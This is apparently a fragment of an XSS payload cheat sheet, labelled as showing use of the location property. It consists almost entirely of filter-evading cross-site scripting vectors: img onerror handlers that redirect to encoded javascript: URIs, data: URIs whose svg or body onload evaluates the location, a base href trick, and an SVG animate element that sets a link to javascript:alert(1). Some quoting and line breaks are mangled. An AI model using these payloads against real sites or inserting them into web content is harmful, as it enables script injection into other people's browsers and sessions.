<img onerror=”location=’javascript:=alert(1)'” src=”x”><img
onerror=”location=’javascript:%61lert(1)'” src=”x”><img
onerror=”location=’javascript:\x2561lert(1)'” src=”x”><img
onerror=”location=’javascript:\x255Cu0061lert(1)'” src=”x”
>data:text/html;alert(1)/*,<svg%20onload=eval(unescape(location))><title>*/;alert(2)
;function%20text(){};function%20html(){}data:html=1;alert(1)/*,<body%20onload=ev
al(location.href)><title>*/;alert(2) //Firefox<base href=javascript://test/”><a
href=”%0Aalert(1)”>test</a><svg><a xmlns:xlink=http://www.w3.org/1999/xlink
xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0
from=javascript:alert(1) to=%26>
```

Objective: Represents the use of location property